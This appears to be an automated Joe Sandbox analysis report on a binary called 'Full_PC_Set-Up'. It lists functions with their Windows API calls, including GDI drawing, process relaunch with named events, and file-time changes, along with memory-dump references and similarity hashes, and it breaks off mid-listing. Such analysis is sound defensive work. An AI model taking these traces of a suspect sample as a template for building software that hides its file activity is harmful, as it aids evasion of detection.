Download Yara Rule

APIs

SetBkColor.GDI32(?,00FFFFFF), ref: 003A6BE5
SetTextColor.GDI32(?,00000000), ref: 003A6BF1
CreateCompatibleDC.GDI32(?), ref: 003A6C02
CreateCompatibleDC.GDI32(?), ref: 003A6C13
CreateCompatibleBitmap.GDI32(?,?,?), ref: 003A6C2E
SelectObject.GDI32(00000000,00000000), ref: 003A6C44
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00CC0020), ref: 003A6C69
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 003A6C7F
SelectObject.GDI32(00000000,00000000), ref: 003A6C93
SetBkColor.GDI32(00000000,?), ref: 003A6CA3
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,00CC0020), ref: 003A6CBA
SetBkColor.GDI32(00000000,00000000), ref: 003A6CD2
SetTextColor.GDI32(00000000,00FFFFFF), ref: 003A6CDE
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,00000000,00000000,008800C6), ref: 003A6CF5
BitBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,008800C6), ref: 003A6D2C
BitBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,00EE0086), ref: 003A6D55
StretchBlt.GDI32(?,?,00000000,?,?,00000000,00000000,00000000,?,?,008800C6), ref: 003A6D7E
StretchBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,00EE0086), ref: 003A6DAD
SelectObject.GDI32(00000000,?), ref: 003A6DC9
DeleteDC.GDI32(00000000), ref: 003A6DDA
SelectObject.GDI32(00000000,?), ref: 003A6DEE
DeleteObject.GDI32(?), ref: 003A6DF5
DeleteDC.GDI32(00000000), ref: 003A6E00
DeleteObject.GDI32(?), ref: 003A6E0B
SetBkColor.GDI32(?,?), ref: 003A6E17
SetTextColor.GDI32(?,?), ref: 003A6E23

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Color$Object$CreateDeleteSelect$CompatibleText$BitmapStretch
String ID:
API String ID: 796540309-0
Opcode ID: cf8bfb9852b7eb0ef606aebf1c48c03623c6e40628aabe0b234038da25839ee4
Instruction ID: 9402fd4e2523415b51b2a57330627450f543a38b2336720f5fbb58608a201632
Opcode Fuzzy Hash: cf8bfb9852b7eb0ef606aebf1c48c03623c6e40628aabe0b234038da25839ee4
Instruction Fuzzy Hash: 04710A71705301BFD3219F65DC89F6FBBACEB8AB40F15492DF94192290C6B4EC008B66

Function 002C18B0 Relevance: 37.1, APIs: 16, Strings: 5, Instructions: 303processCOMMON

Download Yara Rule

APIs

Part of subcall function 003146C0: std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 00314704
Part of subcall function 003146C0: CreateMutexW.KERNEL32(00000000,00000000,004DAF60,?,5EBD7D5F,0058A648,00000000,004B9153,000000FF,?,003140D7,00000001), ref: 0031474E

_memset.LIBCMT ref: 002C1920
GetModuleFileNameW.KERNEL32 ref: 002C193E
CreateProcessW.KERNEL32(?,?,00000000,00000000,00000001,00000000,00000000,00000000,?,?,00000000,?,00000104,?,00000000,00000000), ref: 002C1995
CreateEventW.KERNEL32(00000000,00000000,00000000,{fb5cecde-724d-40f9-acac-4a31c1afd39e},?,00000000,00000000), ref: 002C19C2
CreateEventW.KERNEL32(00000000,00000000,00000000,{AAD5E1ED-2DC0-44e5-8333-9C63A9D285E9},?,00000000,00000000), ref: 002C19DC
WaitForMultipleObjects.KERNEL32(00000001,?,00000000,00001388,?,00000000,00000000), ref: 002C1A02
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 002C1A85
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 002C1A9B
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 002C1AA2
_memset.LIBCMT ref: 002C1AF1
GetModuleFileNameW.KERNEL32 ref: 002C1B10

Strings

-run, xrefs: 002C1955, 002C1B27
{fb5cecde-724d-40f9-acac-4a31c1afd39e}, xrefs: 002C19B3
{AAD5E1ED-2DC0-44e5-8333-9C63A9D285E9}, xrefs: 002C19D1
D, xrefs: 002C1B08
-report, xrefs: 002C1BC8

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Create$CloseHandle$EventFileModuleName_memset$Iterator_baseIterator_base::_MultipleMutexObjectsProcessWaitstd::_
String ID: -report$ -run$D${AAD5E1ED-2DC0-44e5-8333-9C63A9D285E9}${fb5cecde-724d-40f9-acac-4a31c1afd39e}
API String ID: 1419059764-1162712027
Opcode ID: c0c96b5e88d4fc5ef2d18997a1a83e353041a11627b952a9677c4dfdd6a3c547
Instruction ID: fb8e1d56a290101799ee2230d8c89ce80f7a801da6166c7bf065e47e5d5d7dc2
Opcode Fuzzy Hash: c0c96b5e88d4fc5ef2d18997a1a83e353041a11627b952a9677c4dfdd6a3c547
Instruction Fuzzy Hash: 7BB1AEB15183419FD360DF24C886FABB7E8BF89714F104A1EF19987291EBB09954CB92

Function 002A0EA0 Relevance: 36.3, APIs: 24, Instructions: 318windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 002A0EE0

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

OffsetRect.USER32(?,00000000,00000000), ref: 002A0F18
GdipCreateSolidFill.GDIPLUS ref: 002A0F8B
GdipFillRectangleI.GDIPLUS(?,?,?,?,?,FFDDDDDD), ref: 002A0FA8
GdipDeleteBrush.GDIPLUS(?,?,?,?,?,?,FFDDDDDD), ref: 002A0FB9
GdipCreatePen1.GDIPLUS(FF222222,?,00000000,?,?,?,?,?,?,?,FFDDDDDD), ref: 002A0FD8
GdipSetPenDashStyle.GDIPLUS(?,00000002,FF222222,?,00000000,?,?,?,?,?,?,?,FFDDDDDD), ref: 002A0FE8
GdipDrawRectangleI.GDIPLUS(?,?,?,?,?,FFDDDCDF,?,00000002,FF222222,?,00000000,?,?,?,?,?), ref: 002A1019
GdipDeletePen.GDIPLUS(?,?,?,?,?,?,FFDDDCDF,?,00000002,FF222222,?,00000000,?,?,?,?), ref: 002A102A
LoadIconW.USER32(?), ref: 002A1059
GdipCreateBitmapFromHICON.GDIPLUS(00000000,?,?,?,?,?,?,?,?,?,FFDDDCDF,?,00000002,FF222222,?,00000000), ref: 002A1073
GdipDrawImageRectI.GDIPLUS(?,?,?,?,?,?), ref: 002A10AD
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?,?,?,?,?,?,?), ref: 002A10C6
GdipSetStringFormatAlign.GDIPLUS(?,00000000,00000000,00000000,?,?,?,?,?,?,?), ref: 002A10D5
GdipSetStringFormatLineAlign.GDIPLUS(?,00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?), ref: 002A10E9
GdipCreateSolidFill.GDIPLUS(FF1E1E1E,?,?,00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?), ref: 002A1104
GdipDrawString.GDIPLUS(?,?,000000FF,00000000,?,?,?,FF1E1E1E,?,?,00000001,?,00000000,00000000,00000000,?), ref: 002A1162
GdipMeasureString.GDIPLUS(00000000,?,000000FF,00000000,?,00000000,?,00000000,00000000,?,?,000000FF,00000000,?,?,?), ref: 002A11AA
GdipCreatePen1.GDIPLUS(FFD2D2D2,?,00000000,?,00000000,?,000000FF,00000000,?,00000000,?,00000000,00000000,?,?,000000FF), ref: 002A11DF
GdipDrawLineI.GDIPLUS(?,00000000,-00000002,?,?,?,FFD2D2D2,?,00000000,?,00000000,?,000000FF,00000000,?,00000000), ref: 002A1218
GdipDeletePen.GDIPLUS(?,?,00000000,-00000002,?,?,?,FFD2D2D2,?,00000000,?,00000000,?,000000FF,00000000,?), ref: 002A1229
GdipDeleteBrush.GDIPLUS(?,?,?,00000000,-00000002,?,?,?,FFD2D2D2,?,00000000,?,00000000,?,000000FF,00000000), ref: 002A1233
GdipDeleteStringFormat.GDIPLUS(?,?,?,?,00000000,-00000002,?,?,?,FFD2D2D2,?,00000000,?,00000000,?,000000FF), ref: 002A123D
GdipDisposeImage.GDIPLUS(00000000,?,?,?,?,00000000,-00000002,?,?,?,FFD2D2D2,?,00000000,?,00000000,?), ref: 002A1247

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$CreateString$Delete$DrawFormat$FillRect$AlignBrushImageLinePen1RectangleSolid$BitmapClientDashDisposeFromIconLoadMeasureOffsetScrollStyle
String ID:
API String ID: 4057962769-0
Opcode ID: bd577e8340829d0f03e9a355e0d62fbf0bef3c89a5032a7c37f4679bc9ae2a99
Instruction ID: 2c5d4a412754ebf22d67ea8302945cc1bef0b3a8092bc030660c4080799427ec
Opcode Fuzzy Hash: bd577e8340829d0f03e9a355e0d62fbf0bef3c89a5032a7c37f4679bc9ae2a99
Instruction Fuzzy Hash: 0CC1F7B16183419FC714DF64C984A6BBBF9FF89710F148A1DF9989B254DB30E814CBA2

Function 002A05E0 Relevance: 34.8, APIs: 23, Instructions: 294windowCOMMON

Download Yara Rule

APIs

GdipCreatePen1.GDIPLUS(FFA4A496,?,00000000,?,5EBD7D5F), ref: 002A0668
GdipDrawRectangleI.GDIPLUS(?,?,?,?,?,?,FFA4A496,?,00000000,?,5EBD7D5F), ref: 002A0688
GdipDeletePen.GDIPLUS(?,?,?,?,?,?,?,FFA4A496,?,00000000,?,5EBD7D5F), ref: 002A069C
GdipCreatePath.GDIPLUS ref: 002A06B0
GdipAddPathRectangleI.GDIPLUS(?,?,?,?,?), ref: 002A06D2
GdipCreatePathGradientFromPath.GDIPLUS(?,?,?,?,?,?,?), ref: 002A06F9
GdipSetPathGradientCenterColor.GDIPLUS(?,FFDCDCDC,?,?,?,?,?,?,?), ref: 002A0719
GdipSetPathGradientFocusScales.GDIPLUS(?), ref: 002A075F
GdipFillPath.GDIPLUS(?,?,?,?), ref: 002A0770
GdipDeleteBrush.GDIPLUS(?,?,?,?,?), ref: 002A077D
GdipDeletePath.GDIPLUS(?,?,?,?,?,?), ref: 002A0787
GdipCreatePen1.GDIPLUS(F5C8C8B9,?,00000000,?,5EBD7D5F), ref: 002A07A9
GdipDrawLineI.GDIPLUS(?,?,?,?,?,?,F5C8C8B9,?,00000000,?,5EBD7D5F), ref: 002A07D4
GdipDeletePen.GDIPLUS(?,?,?,?,?,?,?,F5C8C8B9,?,00000000,?,5EBD7D5F), ref: 002A07E8
GdipCreateStringFormat.GDIPLUS(00000000,00000000,?), ref: 002A088E
GdipSetStringFormatAlign.GDIPLUS(?,00000000,00000000,00000000,?), ref: 002A089E
GdipSetStringFormatLineAlign.GDIPLUS(?,00000001,?,00000000,00000000,00000000,?), ref: 002A08B2
GdipSetStringFormatTrimming.GDIPLUS(?,00000003,?,00000001,?,00000000,00000000,00000000,?), ref: 002A08C6
GdipSetStringFormatFlags.GDIPLUS(?,00001000,?,00000003,?,00000001,?,00000000,00000000,00000000,?), ref: 002A08DD
GdipCreateSolidFill.GDIPLUS(FF1E1E1E,?,?,00001000,?,00000003,?,00000001,?,00000000,00000000,00000000,?), ref: 002A08FC
GdipDrawString.GDIPLUS(?,?,000000FF,00000000,?,?,?,FF1E1E1E,?,?,00001000,?,00000003,?,00000001,?), ref: 002A0956
GdipDeleteBrush.GDIPLUS(?,?,?,000000FF,00000000,?,?,?,FF1E1E1E,?,?,00001000,?,00000003,?,00000001), ref: 002A0963
GdipDeleteStringFormat.GDIPLUS(?,?,?,?,000000FF,00000000,?,?,?,FF1E1E1E,?,?,00001000,?,00000003,?), ref: 002A096D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$Path$String$CreateDeleteFormat$DrawGradient$AlignBrushFillLinePen1Rectangle$CenterColorFlagsFocusFromScalesSolidTrimming
String ID:
API String ID: 3031466479-0
Opcode ID: 3326e5efaec56280967e107942376ed9a003a94f1fe6232e86f0d7c1864c9b7a
Instruction ID: 2c512d8a87ce19d97e9fb6ab124e06caebf5925c240a899a2687945b41939f02
Opcode Fuzzy Hash: 3326e5efaec56280967e107942376ed9a003a94f1fe6232e86f0d7c1864c9b7a
Instruction Fuzzy Hash: 6FB113B5618301AFD314DF65C980A6BBBF8EBCA740F148A1DF9958B251DB74E804CB62

Function 0030D480 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 388filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D596
GetLastError.KERNEL32(?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D5A4
DeleteFileW.KERNEL32(?,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D5BB
GetLastError.KERNEL32(?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D5C1
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D5D6
GetLastError.KERNEL32(?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D5DE
GetLastError.KERNEL32(?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D5E5
__allrem.LIBCMT ref: 0030D67F
CloseHandle.KERNEL32(?,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D7A0
SetFileAttributesW.KERNEL32(?,?,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D7E4
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D7FB
GetLastError.KERNEL32(?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D808
SetFileTime.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D883
CloseHandle.KERNEL32(00000000,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D890
CloseHandle.KERNEL32(?,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D8C2
CloseHandle.KERNEL32(?,?,?,?,004CD72B,000000FF,0030CC4F), ref: 0030D8D5

Strings

Set file time CreateFile fail: %d, xrefs: 0030D80F

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: File$ErrorLast$CloseHandle$Create$AttributesDeleteTime__allrem
String ID: Set file time CreateFile fail: %d
API String ID: 3580071755-2648166868
Opcode ID: 6ef449f975b4f9e16c7137d5ac40e378866d79c1c80782b46baa0659d2611358
Instruction ID: 8f958c09b2baf0b0fd65ae5833850b7d8d1fbd50771d13d11a1eafe916c22369
Opcode Fuzzy Hash: 6ef449f975b4f9e16c7137d5ac40e378866d79c1c80782b46baa0659d2611358
Instruction Fuzzy Hash: F1D189756093009FC315DFA8C890A6BB3E9BF88714F158A1DFA99972D0DB70ED41CB92

Function 002D0340 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 165windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001036,00000000,00000020), ref: 002D0362
GetWindowRect.USER32(?,?), ref: 002D0376
_memset.LIBCMT ref: 002D03EB
SendMessageW.USER32(?,00001061,00000000,0000000F), ref: 002D0453
SendMessageW.USER32(?,00001208,00000000,0000000F), ref: 002D0493
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D04A8
SendMessageW.USER32 ref: 002D04CA
SendMessageW.USER32(?,0000120C,00000000,?), ref: 002D04F4
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D0504
_memset.LIBCMT ref: 002D0513
SendMessageW.USER32 ref: 002D0547

Strings

d+T, xrefs: 002D03CB
|+T, xrefs: 002D03D3
L+T, xrefs: 002D03BB
Send, xrefs: 002D03F3
$, xrefs: 002D04BF
X+T, xrefs: 002D03C3

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$_memset$RectWindow
String ID: $$L+T$Send$X+T$d+T$|+T
API String ID: 1311249626-3274411927
Opcode ID: 5ca8c549f9b6b11253e40b4ecbbef7f11f83607152523aacbbab3326a39af89b
Instruction ID: 8bacbabe27da7cdff0b92913c2413aee83329398f8da9fa63002741d94ff75f1
Opcode Fuzzy Hash: 5ca8c549f9b6b11253e40b4ecbbef7f11f83607152523aacbbab3326a39af89b
Instruction Fuzzy Hash: D7516AB1644741ABE320DF25C885F5BBBE8FBC4704F408A1DF2958B290DBB1E904CB56

Function 003A7100 Relevance: 28.7, APIs: 19, Instructions: 214windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003A4090: GetModuleHandleA.KERNEL32(GDI32.DLL,003A4961,?,003A4E6C,5EBD7D5F), ref: 003A409F
Part of subcall function 003A4090: GetProcAddress.KERNEL32(00000000,GetLayout), ref: 003A40AF

Part of subcall function 003A7080: _memset.LIBCMT ref: 003A708C
Part of subcall function 003A7080: CreateDIBSection.GDI32 ref: 003A70DD

CreateCompatibleDC.GDI32(?), ref: 003A7196
CreateCompatibleDC.GDI32(?), ref: 003A71A3
SelectObject.GDI32(00000000,?), ref: 003A71D8
SelectObject.GDI32(00000000,?), ref: 003A71E4
SetStretchBltMode.GDI32(00000000,00000003), ref: 003A71ED
SetStretchBltMode.GDI32(00000000,00000003), ref: 003A71F6
StretchBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 003A7229
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,00CC0020), ref: 003A725A
SelectObject.GDI32(00000000,?), ref: 003A726A
SelectObject.GDI32(00000000,?), ref: 003A7272

Part of subcall function 003A6E60: GetObjectW.GDI32(?,00000018,?), ref: 003A6E79
Part of subcall function 003A6E60: GetObjectW.GDI32(?,00000018,?), ref: 003A6E8F
Part of subcall function 003A6E60: GetObjectW.GDI32(?,00000018,?), ref: 003A6EA5

SelectObject.GDI32(00000000,?), ref: 003A72A0
BitBlt.GDI32(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 003A72D5
SelectObject.GDI32(00000000,?), ref: 003A72ED
SelectObject.GDI32(00000000,?), ref: 003A72F9
DeleteDC.GDI32(00000000), ref: 003A7302
DeleteDC.GDI32(00000000), ref: 003A7309

Part of subcall function 003A40E0: GetModuleHandleA.KERNEL32(GDI32.DLL,003A71BC,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 003A40EF
Part of subcall function 003A40E0: GetProcAddress.KERNEL32(00000000,SetLayout), ref: 003A40FF

DeleteObject.GDI32(?), ref: 003A7316
DeleteObject.GDI32(?), ref: 003A7321
DeleteObject.GDI32(?), ref: 003A732C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object$Select$Delete$CreateStretch$AddressCompatibleHandleModeModuleProc$Section_memset
String ID:
API String ID: 4151532227-0
Opcode ID: d8284d9fc0f86763c3cd63501f876eeb646ff65c988b19087f56cef6aa2921cc
Instruction ID: df4d995d0f4d4e1e554af2c3a96311f5065844b7c6a859a32c6133e2e663fd06
Opcode Fuzzy Hash: d8284d9fc0f86763c3cd63501f876eeb646ff65c988b19087f56cef6aa2921cc
Instruction Fuzzy Hash: AB612975608305AFD211DBA9DC81F2FB7ECEF8A740F01491DB98497241DAB4ED018BA6

Function 002E23C0 Relevance: 27.5, APIs: 18, Instructions: 476COMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

Part of subcall function 0036B9E3: SetWindowOrgEx.GDI32(?,?,5EBD7D5F,?), ref: 0036BA04
Part of subcall function 0036B9E3: SetWindowOrgEx.GDI32(?,?,5EBD7D5F,?), ref: 0036BA17

Part of subcall function 0036B6DD: GetClipBox.GDI32(?,?), ref: 0036B6E8

Part of subcall function 003A4340: CreateCompatibleDC.GDI32 ref: 003A43A1
Part of subcall function 003A4340: CreateCompatibleBitmap.GDI32(?,?,?), ref: 003A43C1
Part of subcall function 003A4340: SelectObject.GDI32(?,00000000), ref: 003A43CF

Part of subcall function 0036F134: SetBkColor.GDI32(?,?), ref: 0036F158
